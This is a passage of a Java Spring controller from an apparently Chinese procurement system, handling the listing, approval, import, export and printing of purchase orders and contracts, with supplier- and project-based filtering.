if (totalCount != null && completedCount != null && totalCount.compareTo(BigDecimal.ZERO) != 0) {
|
||||
lm.put("finishRate", completedCount.multiply(new BigDecimal(100)).divide(totalCount, RoundingMode.HALF_UP) + "%");
|
||||
}
|
||||
purchaseOrder.setStatistics(lm);
|
||||
}
|
||||
modelMap.addAttribute("map", map);
|
||||
modelMap.addAttribute("materialOrderSn", orderQuery.getMaterialOrderSn());
|
||||
modelMap.addAttribute("orderType", orderQuery.getOrderType());
|
||||
return "/purchaseOrder/newList/orderList";
|
||||
}
|
||||
// 采购管理-合同管理-合同创建
|
||||
@RequestMapping("/createContractList")
|
||||
public String createContractList(ModelMap modelMap, Pageable pageable, OrderQuery orderQuery) {
|
||||
pageAddProgressData(modelMap, orderQuery);
|
||||
orderTool.listCommonAttr(modelMap, pageable, orderQuery, PurchaseOrder.class, purchaseOrderService, purchaseOrderItemService);
|
||||
Map<Long,String> map = new HashMap<>();
|
||||
Page<PurchaseOrder> page = (Page<PurchaseOrder>) modelMap.get("page");
|
||||
for (PurchaseOrder purchaseOrder : page.getContent()) {
|
||||
map.put(purchaseOrder.getId(), purchaseOrderItemService.purchaseOrderStatus(purchaseOrder.getId(), null));
|
||||
}
|
||||
modelMap.addAttribute("map", map);
|
||||
modelMap.addAttribute("materialOrderSn", orderQuery.getMaterialOrderSn());
|
||||
modelMap.addAttribute("orderType", orderQuery.getOrderType());
|
||||
return "/purchaseOrder/newList/createContractList";
|
||||
}
|
||||
// 采购管理-合同管理-合同台账
|
||||
@RequestMapping("/contractList")
|
||||
public String contractList(ModelMap modelMap, Pageable pageable, OrderQuery orderQuery) {
|
||||
orderQuery.setOrderType(PurchaseOrder.OrderType.contract);
|
||||
pageAddProgressData(modelMap, orderQuery);
|
||||
orderTool.listCommonAttr(modelMap, pageable, orderQuery, PurchaseOrder.class, purchaseOrderService, purchaseOrderItemService);
|
||||
Page<PurchaseOrder> page = (Page<PurchaseOrder>) modelMap.get("page");
|
||||
purchaseOrderService.addStatistics(page.getContent());
|
||||
modelMap.addAttribute("contractSn", orderQuery.getContractSn());
|
||||
modelMap.addAttribute("materialOrderSn", orderQuery.getMaterialOrderSn());
|
||||
return "/purchaseOrder/newList/contractList";
|
||||
}
|
||||
// 采购管理-发货管理-发货合同
|
||||
@RequestMapping("/deliverGoodsContractList")
|
||||
public String deliverGoodsContractList(ModelMap modelMap, Pageable pageable, OrderQuery orderQuery) {
|
||||
orderQuery.setOrderType(PurchaseOrder.OrderType.contract);
|
||||
pageAddProgressData(modelMap, orderQuery);
|
||||
orderTool.listCommonAttr(modelMap, pageable, orderQuery, PurchaseOrder.class, purchaseOrderService, purchaseOrderItemService);
|
||||
return "purchaseOrder/newList/deliverGoodsContractList";
|
||||
}
|
||||
|
||||
public void pageAddProgressData(ModelMap modelMap, OrderQuery orderQuery) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
if (orderQuery.getProgressId() == null) {
|
||||
orderQuery.setProgressId(admin.getNowProgress());
|
||||
}
|
||||
orderQuery.setVisibleCompanyIdsStr(admin.getVisibleCompanyIdsStr());
|
||||
orderQuery.setVisibleDepartmentIdsStr(admin.getVisibleDepartmentIdsStr());
|
||||
|
||||
// 用户是否为供应商
|
||||
boolean isSupplier = Admin.Type.supplier.equals(admin.getType());
|
||||
if (isSupplier) {
|
||||
// 供应商
|
||||
Supplier adminSupplier = null;
|
||||
for (Supplier findSupplier : admin.getSupplierList()) {
|
||||
if (Objects.equals(orderQuery.getProgressId(), findSupplier.getProgressId())) {
|
||||
adminSupplier = findSupplier;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
orderQuery.setOwnerId(Optional.ofNullable(adminSupplier).map(Supplier::getId).orElse(0L));
|
||||
orderQuery.setBeginOrder(true);
|
||||
} else {
|
||||
modelMap.addAttribute("ownerList", supplierService.findByProgressId(orderQuery.getProgressId(), false));
|
||||
}
|
||||
modelMap.addAttribute("supplier", isSupplier);
|
||||
|
||||
// 项目是否为公司
|
||||
boolean isCompany = Admin.Type.admin.equals(admin.getType()) && admin.getNowProgress() == null;
|
||||
modelMap.addAttribute("company", isCompany);
|
||||
if (isCompany) {
|
||||
modelMap.addAttribute("progressId", orderQuery.getProgressId());
|
||||
modelMap.addAttribute("progressList", progressService.findAll());
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// 链接以及相关页面弃用
|
||||
@RequestMapping("/list")
|
||||
public String list(ModelMap modelMap, Pageable pageable, OrderQuery orderQuery,String pageType) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("progressId",orderQuery.getProgressId());
|
||||
modelMap.addAttribute("progressList",progressService.findAll());
|
||||
if (orderQuery.getProgressId() == null) {
|
||||
orderQuery.setProgressId(admin.getNowProgress());
|
||||
}
|
||||
modelMap.addAttribute("supplier",false);
|
||||
Supplier adminSupplier = null;
|
||||
if (admin.getNowProgress() ==null) {
|
||||
modelMap.addAttribute("company", true);
|
||||
}else {
|
||||
modelMap.addAttribute("company",false);
|
||||
}
|
||||
List<Progress> progressList = new ArrayList<>();
|
||||
Map<Long,Progress> progressMap = new HashMap<>();
|
||||
for (Progress progress : progressService.findAll()){
|
||||
progressMap.put(progress.getId(),progress);
|
||||
}
|
||||
modelMap.addAttribute("showCompany",false);
|
||||
for (Supplier findSupplier : admin.getSupplierList()){
|
||||
if (findSupplier.getProgressId() == null){
|
||||
modelMap.addAttribute("showCompany",true);
|
||||
}else {
|
||||
progressList.add(progressMap.get(findSupplier.getProgressId()));
|
||||
}
|
||||
if (admin.getNowProgress()==null){
|
||||
if (findSupplier.getProgressId() == null){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}else {
|
||||
if (admin.getNowProgress().equals(findSupplier.getProgressId())){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (adminSupplier != null){
|
||||
orderQuery.setOwnerId(adminSupplier.getId());
|
||||
modelMap.addAttribute("supplier",true);
|
||||
orderQuery.setBeginOrder(true);
|
||||
modelMap.addAttribute("progressList",progressList);
|
||||
}
|
||||
orderQuery.setVisibleCompanyIdsStr(adminService.getCurrent().getVisibleCompanyIdsStr());
|
||||
orderQuery.setVisibleDepartmentIdsStr(adminService.getCurrent().getVisibleDepartmentIdsStr());
|
||||
PurchaseOrder.OrderType orderType = orderQuery.getOrderType();
|
||||
if (PurchaseOrder.OrderType.order.equals(orderType)) {
|
||||
orderQuery.setOrderType(null);
|
||||
if (BooleanUtils.isTrue(orderQuery.getTurnContract())) {
|
||||
orderQuery.setOrderType(PurchaseOrder.OrderType.contract);
|
||||
} else if (BooleanUtils.isFalse(orderQuery.getTurnContract())) {
|
||||
orderQuery.setOrderType(PurchaseOrder.OrderType.order);
|
||||
}
|
||||
}
|
||||
orderTool.listCommonAttr(modelMap, pageable, orderQuery, PurchaseOrder.class, purchaseOrderService, purchaseOrderItemService);
|
||||
modelMap.addAttribute("ownerList", supplierService.findAll());
|
||||
modelMap.addAttribute("contractTypes", ContractType.values());
|
||||
modelMap.addAttribute("contractType", orderQuery.getContractType());
|
||||
modelMap.addAttribute("productList", productService.findAll());
|
||||
modelMap.addAttribute("pageType",pageType);
|
||||
modelMap.addAttribute("orderQuery", orderQuery);
|
||||
|
||||
if (PurchaseOrder.OrderType.order.equals(orderType)) {
|
||||
orderQuery.setOrderType(PurchaseOrder.OrderType.order);
|
||||
Page<PurchaseOrder> page = (Page<PurchaseOrder>) modelMap.get("page");
|
||||
// 订货单的订货状态,如“未完成订货(未给供应商发邮件)”、“已完成部分订货(已给供应商发邮件,但未完全订货完毕)”和“已完成订货”
|
||||
// 未完成订货(未给供应商发邮件):item的havePurchaseCount都为0
|
||||
// 已完成部分订货(已给供应商发邮件,但未完全订货完毕):item的havePurchaseCount小于count
|
||||
// 已完成订货:item的havePurchaseCount都不小于count
|
||||
// 参考 /admin/materialOrder/list
|
||||
Map<Long,String> map = new HashMap<>();
|
||||
boolean notTurnContract = !"turnContract".equals(pageType);
|
||||
for (PurchaseOrder purchaseOrder : page.getContent()) {
|
||||
map.put(purchaseOrder.getId(), purchaseOrderItemService.purchaseOrderStatus(purchaseOrder.getId(), null));
|
||||
|
||||
if (notTurnContract) {
|
||||
Map<String, Object> lm = new HashMap<>();
|
||||
lm.put("finishRate", "0%");
|
||||
BigDecimal totalCount = purchaseOrder.getTotalCount();
|
||||
BigDecimal completedCount = purchaseOrderItemService.sumInboundCount(purchaseOrder.getId());
|
||||
if (totalCount != null && completedCount != null && totalCount.compareTo(BigDecimal.ZERO) != 0) {
|
||||
lm.put("finishRate", completedCount.multiply(new BigDecimal(100)).divide(totalCount, RoundingMode.HALF_UP) + "%");
|
||||
}
|
||||
purchaseOrder.setStatistics(lm);
|
||||
}
|
||||
}
|
||||
modelMap.addAttribute("map", map);
|
||||
return "/purchaseOrder/orderList";
|
||||
} else if (PurchaseOrder.OrderType.contract.equals(orderType)) {
|
||||
Page<PurchaseOrder> page = (Page<PurchaseOrder>) modelMap.get("page");
|
||||
purchaseOrderService.addStatistics(page.getContent());
|
||||
return "/purchaseOrder/contractList";
|
||||
}
|
||||
return "/purchaseOrder/list";
|
||||
}
|
||||
// 采购管理-发货管理-发货台账
|
||||
@RequestMapping("/tzList")
|
||||
public String tzList(ModelMap modelMap, Pageable pageable, OrderQuery orderQuery) {
|
||||
orderQuery.setOrderType(PurchaseOrder.OrderType.contract);
|
||||
pageAddProgressData(modelMap, orderQuery);
|
||||
orderTool.listCommonAttr(modelMap, pageable, orderQuery, PurchaseOrder.class, purchaseOrderService, purchaseOrderItemService);
|
||||
return "/purchaseOrder/newList/tzList";
|
||||
}
|
||||
|
||||
/**
|
||||
* 采购统计(合同台账)
|
||||
*/
|
||||
@RequestMapping("/statistics")
|
||||
public String statistics(ModelMap modelMap, Pageable pageable, OrderQuery query) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
query.setProgressId(admin.getNowProgress());
|
||||
query.setOnlyShow(true);
|
||||
query.setOrderType(PurchaseOrder.OrderType.contract);
|
||||
modelMap.addAttribute("supplier",false);
|
||||
Supplier adminSupplier = null;
|
||||
for (Supplier findSupplier : admin.getSupplierList()){
|
||||
if (admin.getNowProgress()==null){
|
||||
if (findSupplier.getProgressId() == null){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}else {
|
||||
if (admin.getNowProgress().equals(findSupplier.getProgressId())){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (adminSupplier != null){
|
||||
query.setOwnerId(adminSupplier.getId());
|
||||
modelMap.addAttribute("supplier",true);
|
||||
}
|
||||
Page<PurchaseOrder> page = purchaseOrderService.findPage(pageable, query);
|
||||
modelMap.addAttribute("ownerList", supplierService.findAll());
|
||||
modelMap.addAttribute("statusList", OrderStatus.getDefaultList());
|
||||
modelMap.addAttribute("departmentList", departmentService.findAll());
|
||||
modelMap.addAttribute("contractTypes", ContractType.values());
|
||||
modelMap.addAttribute("query", query);
|
||||
|
||||
List<Map<String, Object>> list = purchaseOrderService.statistics(page.getContent());
|
||||
modelMap.addAttribute("page", new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
return "/purchaseOrder/statistics";
|
||||
}
|
||||
|
||||
/**
|
||||
* 显示料单的订货单哪些已订货、哪些未订货、哪些部分订货
|
||||
*/
|
||||
@RequestMapping("/findByMaterialOrder")
|
||||
public String findByMaterialOrder(ModelMap modelMap, Pageable pageable, OrderQuery orderQuery, Long materialOrderId) {
|
||||
MaterialOrder materialOrder = materialOrderService.find(materialOrderId);
|
||||
Integer versionNum = materialOrder.getVersionNum();
|
||||
orderQuery.setIdList(materialOrderItemService.findPurchaseOrderIdList(versionNum, materialOrderId));
|
||||
modelMap.addAttribute("materialOrderSn", materialOrder.getSn());
|
||||
modelMap.addAttribute("materialOrderId", materialOrderId);
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("progressId",orderQuery.getProgressId());
|
||||
modelMap.addAttribute("progressList",progressService.findAll());
|
||||
if (orderQuery.getProgressId() == null) {
|
||||
orderQuery.setProgressId(admin.getNowProgress());
|
||||
}
|
||||
modelMap.addAttribute("supplier",false);
|
||||
Supplier adminSupplier = null;
|
||||
if (admin.getNowProgress() ==null) {
|
||||
modelMap.addAttribute("company", true);
|
||||
}else {
|
||||
modelMap.addAttribute("company",false);
|
||||
}
|
||||
List<Progress> progressList = new ArrayList<>();
|
||||
Map<Long,Progress> progressMap = new HashMap<>();
|
||||
for (Progress progress : progressService.findAll()){
|
||||
progressMap.put(progress.getId(),progress);
|
||||
}
|
||||
modelMap.addAttribute("showCompany",false);
|
||||
for (Supplier findSupplier : admin.getSupplierList()){
|
||||
if (findSupplier.getProgressId() == null){
|
||||
modelMap.addAttribute("showCompany",true);
|
||||
}else {
|
||||
progressList.add(progressMap.get(findSupplier.getProgressId()));
|
||||
}
|
||||
if (admin.getNowProgress()==null){
|
||||
if (findSupplier.getProgressId() == null){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}else {
|
||||
if (admin.getNowProgress().equals(findSupplier.getProgressId())){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (adminSupplier != null){
|
||||
orderQuery.setOwnerId(adminSupplier.getId());
|
||||
modelMap.addAttribute("supplier",true);
|
||||
orderQuery.setBeginOrder(true);
|
||||
modelMap.addAttribute("progressList",progressList);
|
||||
}
|
||||
orderQuery.setVisibleCompanyIdsStr(adminService.getCurrent().getVisibleCompanyIdsStr());
|
||||
orderQuery.setVisibleDepartmentIdsStr(adminService.getCurrent().getVisibleDepartmentIdsStr());
|
||||
|
||||
orderQuery.setOrderType(null);
|
||||
if (BooleanUtils.isTrue(orderQuery.getTurnContract())) {
|
||||
orderQuery.setOrderType(PurchaseOrder.OrderType.contract);
|
||||
} else if (BooleanUtils.isFalse(orderQuery.getTurnContract())) {
|
||||
orderQuery.setOrderType(PurchaseOrder.OrderType.order);
|
||||
}
|
||||
|
||||
orderTool.listCommonAttr(modelMap, pageable, orderQuery, PurchaseOrder.class, purchaseOrderService, purchaseOrderItemService);
|
||||
modelMap.addAttribute("ownerList", supplierService.findAll());
|
||||
modelMap.addAttribute("contractTypes", ContractType.values());
|
||||
modelMap.addAttribute("contractType", orderQuery.getContractType());
|
||||
modelMap.addAttribute("productList", productService.findAll());
|
||||
modelMap.addAttribute("orderQuery", orderQuery);
|
||||
|
||||
orderQuery.setOrderType(PurchaseOrder.OrderType.order);
|
||||
Page<PurchaseOrder> page = (Page<PurchaseOrder>) modelMap.get("page");
|
||||
// 订货单的订货状态,如“未完成订货(未给供应商发邮件)”、“已完成部分订货(已给供应商发邮件,但未完全订货完毕)”和“已完成订货”
|
||||
// 未完成订货(未给供应商发邮件):item的havePurchaseCount都为0
|
||||
// 已完成部分订货(已给供应商发邮件,但未完全订货完毕):item的havePurchaseCount小于count
|
||||
// 已完成订货:item的havePurchaseCount都不小于count
|
||||
// 参考 /admin/materialOrder/list
|
||||
Map<Long,String> map = new HashMap<>();
|
||||
Map<Long,String> totalCountMap = new HashMap<>();
|
||||
for (PurchaseOrder purchaseOrder : page.getContent()) {
|
||||
List<Long> purchaseOrderItemIdList = materialOrderItemService.findPurchaseOrderItemIdList(versionNum, materialOrderId, purchaseOrder.getId());
|
||||
map.put(purchaseOrder.getId(), purchaseOrderItemService.purchaseOrderStatus(null, purchaseOrderItemIdList));
|
||||
totalCountMap.put(purchaseOrder.getId(), purchaseOrderItemService.sumCount(null, purchaseOrderItemIdList).setScale(3).toPlainString());
|
||||
}
|
||||
modelMap.addAttribute("map", map);
|
||||
modelMap.addAttribute("totalCountMap", totalCountMap);
|
||||
|
||||
return "/materialOrder/conduit/purchaseOrderList";
|
||||
}
|
||||
|
||||
@RequestMapping("/add")
|
||||
public String add(ModelMap modelMap, @RequestParam(defaultValue = "false") Boolean internationalTradeFlag) {
|
||||
orderTool.addCommonAttr(modelMap, OrderCategory.purchase);
|
||||
modelMap.addAttribute("internationalTradeFlag", internationalTradeFlag);
|
||||
return "/purchaseOrder/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/add")
|
||||
public String dialogAdd(ModelMap modelMap, Long salesOrderId) {
|
||||
orderTool.addCommonAttr(modelMap, OrderCategory.purchase);
|
||||
return "/purchaseOrder/dialog/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/view")
|
||||
public String view(ModelMap modelMap, Long id) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(id);
|
||||
if (admin.getSupplierList().size()>0){
|
||||
modelMap.addAttribute("supplier",true);
|
||||
}else {
|
||||
modelMap.addAttribute("supplier",false);
|
||||
}
|
||||
modelMap.addAttribute("purchaseOrder", purchaseOrder);
|
||||
modelMap.addAttribute("poiMoMap", purchaseOrderItemService.findIdMaterialOrderIdMap(id));
|
||||
if (purchaseOrder.getType() != null && purchaseOrder.getType().equals(PurchaseApplyOrder.Type.conduit)){
|
||||
modelMap.addAttribute("adminList", adminService.findAll());
|
||||
return "/purchaseOrder/conduit/view";
|
||||
}
|
||||
if (purchaseOrder.getType() != null && purchaseOrder.getType().equals(PurchaseApplyOrder.Type.device)){
|
||||
return "/purchaseOrder/device/view";
|
||||
}
|
||||
return "/purchaseOrder/view";
|
||||
}
|
||||
/** 台账查看 */
|
||||
@RequestMapping("/tzView")
|
||||
public String tzView(ModelMap modelMap, Long id) {
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(id);
|
||||
modelMap.addAttribute("purchaseOrder", purchaseOrder);
|
||||
return "/purchaseOrder/tzView";
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public RespData save(PurchaseOrder purchaseOrder, Boolean approveApplyFlag) {
|
||||
return respDataWithHandle(() -> {
|
||||
purchaseOrderService.savePurchaseOrder(purchaseOrder);
|
||||
if (BooleanUtils.isTrue(approveApplyFlag)) {
|
||||
purchaseOrderService.approveApply(purchaseOrder);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public RespData update(PurchaseOrder purchaseOrder, Boolean approveApplyFlag) {
|
||||
return respDataWithHandle(() -> {
|
||||
PurchaseOrder source = purchaseOrderService.updatePurchaseOrder(purchaseOrder);
|
||||
if (BooleanUtils.isTrue(approveApplyFlag)) {
|
||||
purchaseOrderService.approveApplyForEdit(source);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 审批
|
||||
*
|
||||
* @return
|
||||
*/
|
||||
@RequestMapping("/approve")
|
||||
@ResponseBody
|
||||
public RespData approve(Long id) {
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(id);
|
||||
try {
|
||||
purchaseOrderService.approve(purchaseOrder);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 审批申请
|
||||
*
|
||||
* @return
|
||||
*/
|
||||
@RequestMapping("/approveApply")
|
||||
@ResponseBody
|
||||
public RespData approveApply(Long id) {
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(id);
|
||||
try {
|
||||
purchaseOrderService.approveApply(purchaseOrder);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 作废
|
||||
*
|
||||
* @return
|
||||
*/
|
||||
@RequestMapping("/invalid")
|
||||
@ResponseBody
|
||||
public RespData invalid(Long id) {
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(id);
|
||||
try {
|
||||
purchaseOrderService.invalid(purchaseOrder);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long[] ids) {
|
||||
try {
|
||||
purchaseOrderService.deleteEntity(ids);
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return Message.error(e.getMessage());
|
||||
}
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/stocks")
|
||||
public String dialogStocks(ModelMap modelMap, Long id) {
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(id);
|
||||
modelMap.addAttribute("list", purchaseStockService.findList(purchaseOrder));
|
||||
return "/purchaseOrder/dialog/stocks";
|
||||
}
|
||||
|
||||
|
||||
@RequestMapping("/dialog/invoices")
|
||||
public String dialogInvoices(ModelMap modelMap, Long id) {
|
||||
modelMap.addAttribute("id", id);
|
||||
return "/purchaseOrder/dialog/invoices";
|
||||
}
|
||||
|
||||
/**
|
||||
* 导入模板
|
||||
*/
|
||||
@RequestMapping("/exportTemplate")
|
||||
public void exportTemplate(HttpServletResponse response) {
|
||||
purchaseOrderService.exportTemplate(response);
|
||||
}
|
||||
|
||||
@RequestMapping("/import")
|
||||
@ResponseBody
|
||||
public RespData importExcel(MultipartFile file) {
|
||||
try {
|
||||
purchaseOrderService.importExcel(file);
|
||||
return RespData.success();
|
||||
} catch (Exception e) {
|
||||
return RespData.error("导入失败");
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/exportContent")
|
||||
public void exportContent(HttpServletResponse response, Long id) throws Exception {
|
||||
purchaseOrderService.exportContent(response, id, false);
|
||||
}
|
||||
@RequestMapping("/exportContractAttachment")
|
||||
public void exportContractAttachment(HttpServletResponse response, Long id) throws Exception {
|
||||
purchaseOrderService.exportContent(response, id, true);
|
||||
}
|
||||
@RequestMapping("/exportContentList")
|
||||
public void exportContentList(HttpServletResponse response, Long[] ids) throws Exception {
|
||||
purchaseOrderService.exportContentList(response, ids);
|
||||
}
|
||||
|
||||
/**
|
||||
* 入库页面
|
||||
*/
|
||||
@RequestMapping("/storage")
|
||||
public String storage(ModelMap modelMap, Long id, Long transportContractId) {
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(id);
|
||||
modelMap.addAttribute("purchaseOrder", purchaseOrder);
|
||||
modelMap.addAttribute("transportContractId", transportContractId);
|
||||
return "/purchaseOrder/storage";
|
||||
}
|
||||
|
||||
@RequestMapping("print")
|
||||
public String print(Long id, ModelMap modelMap) {
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(id);
|
||||
modelMap.addAttribute("purchaseOrder", purchaseOrder);
|
||||
modelMap.addAttribute("systemSetting", systemSettingService.findSingle());
|
||||
modelMap.addAttribute("totalAmount", purchaseOrder.getTotalAmount());
|
||||
modelMap.addAttribute("totalAmountRMB", Amount2RMB.convert(purchaseOrder.getTotalAmount().setScale(2, RoundingMode.HALF_UP).toString()));
|
||||
|
||||
modelMap.addAttribute("method", "");
|
||||
|
||||
if (purchaseOrder.getDeliveryType() != null) {
|
||||
if (purchaseOrder.getDeliveryType().equals(DeliveryType.sendTo)) {
|
||||
modelMap.addAttribute("method", "(1)");
|
||||
} else if (purchaseOrder.getDeliveryType().equals(DeliveryType.pickup)) {
|
||||
modelMap.addAttribute("method", "(2)");
|
||||
} else {
|
||||
modelMap.addAttribute("method", "(3)");
|
||||
}
|
||||
}
|
||||
return "purchaseOrder/print";
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 待进项发票
|
||||
*/
|
||||
@RequestMapping("/beInputInvoice")
|
||||
@ResponseBody
|
||||
public RespData beInputInvoice(OrderQuery orderQuery, Pageable pageable) {
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
orderQuery.setStatusList(Arrays.asList(OrderStatus.approved, OrderStatus.completed));
|
||||
List<PurchaseOrderItem> purchaseOrderItemList = purchaseOrderItemService.findList(orderQuery);
|
||||
BigDecimal beInputCountSum = BigDecimal.ZERO;
|
||||
for (PurchaseOrderItem item : purchaseOrderItemList) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
PurchaseOrder purchaseOrder = item.getPurchaseOrder();
|
||||
map.put("companyName", purchaseOrder.getCompanyName());
|
||||
map.put("ownerName", purchaseOrder.getOwnerName());
|
||||
map.put("productName", item.getName());
|
||||
map.put("taxPrice", item.getTaxPrice());
|
||||
map.put("subtotal", item.getSubtotal());
|
||||
map.put("remark", purchaseOrder.getRemark());
|
||||
BigDecimal count = (item.getSettlement() != null && item.getSettlement().compareTo(BigDecimal.ZERO) > 0) ? item.getSettlement() : item.getCount();
|
||||
BigDecimal beInputCount = count.subtract(item.getInvoiceCount());
|
||||
map.put("beInputCount", beInputCount);
|
||||
beInputCountSum = beInputCountSum.add(beInputCount);
|
||||
list.add(map);
|
||||
}
|
||||
Page<Map<String, Object>> page = CreatePageUtil.page(list, pageable);
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("page", page);
|
||||
map.put("beInputCountSum", beInputCountSum);
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("/finishWarehouseStateForItem")
|
||||
@ResponseBody
|
||||
public RespData finishWarehouseStateForItem(Long id) {
|
||||
return respDataWithHandle(() -> {
|
||||
PurchaseOrderItem purchaseOrderItem = purchaseOrderItemService.find(id);
|
||||
purchaseOrderItem.setWarehouseState(true);
|
||||
purchaseOrderItemService.update(purchaseOrderItem);
|
||||
});
|
||||
}
|
||||
|
||||
@RequestMapping("/updateDynamicInfo")
|
||||
@ResponseBody
|
||||
public RespData updateDynamicInfo(Long id, String text) {
|
||||
return respDataWithHandle(() -> {
|
||||
PurchaseOrderItem purchaseOrderItem = purchaseOrderItemService.find(id);
|
||||
purchaseOrderItem.setDynamicInfo(text);
|
||||
purchaseOrderItemService.update(purchaseOrderItem);
|
||||
});
|
||||
}
|
||||
|
||||
@RequestMapping("createByApply")
|
||||
@ResponseBody
|
||||
public RespData createByApply(String ids, String preTitle, Integer flowNum, Long adminId, String purchaseType, PurchaseOrder.OrderType orderType){
|
||||
try {
|
||||
purchaseOrderService.createByApply2(ids,preTitle,flowNum,adminId,purchaseType,orderType);
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success("保存成功");
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/createDevice")
|
||||
public String dialogCreateDevice(ModelMap modelMap,String ids){
|
||||
modelMap.addAttribute("ids",ids);
|
||||
modelMap.addAttribute("adminId",adminService.getCurrent().getId());
|
||||
return "materialOrder/dialog/createDevice";
|
||||
}
|
||||
|
||||
@RequestMapping("createDeviceByApply")
|
||||
@ResponseBody
|
||||
public Message createDeviceByApply(String ids,String preTitle,Integer flowNum,Long adminId){
|
||||
try {
|
||||
purchaseOrderService.createByDeviceApply(ids,preTitle,flowNum,adminId);
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return Message.error(e.getMessage());
|
||||
}
|
||||
return Message.success("保存成功");
|
||||
}
|
||||
|
||||
@RequestMapping("updateFile")
|
||||
@ResponseBody
|
||||
public RespData updateFile(PurchaseOrder purchaseOrder){
|
||||
purchaseOrderService.updateFile(purchaseOrder);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/exportList")
|
||||
public void exportList(HttpServletResponse response,OrderQuery orderQuery) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
Supplier adminSupplier = null;
|
||||
for (Supplier findSupplier : admin.getSupplierList()){
|
||||
if (admin.getNowProgress()==null){
|
||||
if (findSupplier.getProgressId() == null){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}else {
|
||||
if (admin.getNowProgress().equals(findSupplier.getProgressId())){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (adminSupplier != null){
|
||||
orderQuery.setOwnerId(adminSupplier.getId());
|
||||
}
|
||||
orderQuery.setVisibleCompanyIdsStr(adminService.getCurrent().getVisibleCompanyIdsStr());
|
||||
orderQuery.setVisibleDepartmentIdsStr(adminService.getCurrent().getVisibleDepartmentIdsStr());
|
||||
purchaseOrderService.exportList(response,orderQuery);
|
||||
}
|
||||
/** 导出单个采购单 */
|
||||
@RequestMapping("/exportSingleData")
|
||||
public void exportSingleData(HttpServletResponse response, Long id)throws Exception {
|
||||
purchaseOrderService.exportSingleData(response, id);
|
||||
}
|
||||
|
||||
/** 合同明细导出 */
|
||||
@RequestMapping("/exportDetailList")
|
||||
public void exportDetailList(HttpServletResponse response, Long... ids) {
|
||||
purchaseOrderService.exportDetailList(response, ids);
|
||||
}
|
||||
|
||||
/** 订货明细导出 */
|
||||
@RequestMapping("/exportDetailList2")
|
||||
public void exportDetailList2(HttpServletResponse response, Long... ids) {
|
||||
purchaseOrderService.exportDetailList2(response, ids);
|
||||
}
|
||||
/** 台账列表导出 */
|
||||
@RequestMapping("/exportTzList")
|
||||
public void exportTzList(HttpServletResponse response,OrderQuery orderQuery) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
Supplier adminSupplier = null;
|
||||
for (Supplier findSupplier : admin.getSupplierList()){
|
||||
if (admin.getNowProgress()==null){
|
||||
if (findSupplier.getProgressId() == null){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}else {
|
||||
if (admin.getNowProgress().equals(findSupplier.getProgressId())){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (adminSupplier != null){
|
||||
orderQuery.setOwnerId(adminSupplier.getId());
|
||||
}
|
||||
orderQuery.setVisibleCompanyIdsStr(adminService.getCurrent().getVisibleCompanyIdsStr());
|
||||
orderQuery.setVisibleDepartmentIdsStr(adminService.getCurrent().getVisibleDepartmentIdsStr());
|
||||
purchaseOrderService.exportTzList(response,orderQuery);
|
||||
}
|
||||
